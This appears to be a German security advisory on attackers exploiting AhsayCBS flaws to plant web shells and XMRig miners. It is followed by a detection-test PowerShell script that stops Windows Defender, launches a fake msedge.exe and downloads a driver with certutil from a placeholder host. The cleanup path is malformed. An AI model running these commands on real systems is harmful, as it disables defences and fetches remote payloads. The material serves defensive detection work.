Bedrohungsakteure nutzen kritische AhsayCBS-Schwachstellen aus, um Webshells und XMRig-Kryptominer zu platzieren

Zusammenfassung

Bedrohungsakteure nutzen zwei kritische Schwachstellen in der AhsayCBS-Backup-Software aus, um eine nicht authentifizierte Remote-Code-Ausführung zu erzielen. Nach Erhalt des Zugriffs setzen Angreifer JSP-Webshells ein und installieren XMRig-Cryptominer, die sich als Microsoft Edge-Prozesse tarnen. Die Kampagne verwendet auch ein KI-gestütztes PowerShell-Skript, das darauf ausgelegt ist, die Erkennung zu umgehen, indem es den Windows Task-Manager überwacht und beeinflusst.

Untersuchung

Huntress identifizierte eine Exploit-Kette, die CVE-2026-105133 für einen Authentifizierungs-Bypass mit CVE-2026-105134 für die Remote-Code-Ausführung kombiniert. Forscher beobachteten ein modifiziertes NSSM-Utility, das in msedge.exe umbenannt wurde, und den verwundbaren WinRing0x64.sys-Kerntreiber, der verwendet wird, um dem Miner einen Low-Level-Hardwarezugang zu verschaffen. Die Aktivitäten nach der Ausnutzung umfassten auch die Erstellung eines bösartigen Windows-Dienstes namens MicrosoftEdgeUpdateSvc.

Abmilderung

Organisationen, die Versionen von AhsayCBS bis 10.3.4 verwenden, sollten den Zugriff auf die Verwaltungsoberfläche sofort auf vertrauenswürdige IP-Adressen oder VPN-Verbindungen beschränken. Sicherheitsupdates sollten so schnell wie möglich vom Hersteller angewendet werden. Administratoren sollten auch nach verdächtigen Kindprozessen suchen, die vom ausführbaren AhsayCBS-Dienst gestartet werden.

Antwort

Wenn Anzeichen eines Kompromisses festgestellt werden, sollten Organisationen ein vollständiges Systemabbild von einem vertrauenswürdigen Backup erstellen, um potenzielle sekundäre Hintertüren zu beseitigen. Unautorisierte Windows-Dienste und verdächtige Dateien in Temp-Verzeichnissen untersuchen. Netzwerk-Telemetrie auf Verbindungen zu bekannten Kryptowährungs-Mining-Pools oder Alibaba Cloud OSS-Hosting-Infrastrukturen überprüfen.

Simulation Ausführung

• Angriffserzählung & Befehle: Der Angreifer hat den AhsayCBS-Dienst erfolgreich ausgenutzt. Um die Persistenz aufrechtzuerhalten und einen Cryptominer bereitzustellen, starten sie zuerst eine Befehlszeile vom cbssvcX64.exe Prozess. Um der Erkennung zu entgehen, starten sie einen Prozess namens msedge.exe unter Verwendung des --daemonized Arguments, wodurch es wie ein legitimer Hintergrund-Browserprozess aussieht. Anschließend verwenden sie PowerShell, um Sicherheitsdienste zu beenden (simuliert über Skriptblock). Schließlich verwenden sie certutil.exe um WinRing0x64.sysherunterzuladen, einen Treiber, der verwendet wird, um den Zugang auf niedriger Systemebene für ihre Mining-Nutzlast zu erleichtern.

• Regressionstestskript:

  # Simulationsskript für AhsayCBS-Nachnutzungen
  # HINWEIS: Dieses Skript simuliert das Verhalten durch Nachbildung der Prozesshierarchie und Befehlszeilen.
  
  # 1. AhsayCBS-Spawn von cmd.exe simulieren (erfordert spezifischen Prozess-Parent-Kontext in echten Logs)
  # Für Simulationszwecke verwenden wir einen Kindprozessansatz.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. Fake Edge Daemonized Process simulieren
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Bösartiger PowerShell-Skriptblock simulieren
  $maliciousScript = {
      Write-Host "Versuch, Abwehrmechanismen zu deaktivieren..."
      Stop-Service -Name "WinDefend" -Force
      # Interaktion mit Task-Manager simulieren
      $taskManager = "Task-Manager"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Certutil-Treiber-Download simulieren
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Aufräumbefehle:

  # Aufräumen: Simulierte Prozesse beenden und heruntergeladene Artefakte entfernen.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue